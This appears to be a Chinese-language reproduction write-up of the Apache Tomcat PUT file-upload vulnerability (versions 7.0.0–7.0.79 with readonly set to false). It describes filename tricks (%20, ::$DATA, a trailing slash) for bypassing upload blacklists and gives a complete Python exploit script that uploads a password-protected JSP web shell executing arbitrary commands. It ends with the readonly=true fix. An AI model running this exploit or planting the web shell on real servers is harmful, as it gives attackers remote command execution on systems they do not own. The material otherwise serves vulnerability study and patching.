复现环境
复现过程
然后在tomcat的配置文件web.xml中添加下面这段代码,并重启
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
使用PUT请求,能成功创建test.jpg文件
在test1.jsp后面增加%20,再次发送请求,成功创建test1.jsp
在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php 空
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。
根据第二个现象,我们可以bypass一些黑名单验证。
后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
后记
影响范围:tomcat7.0.0-7.0.79
解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。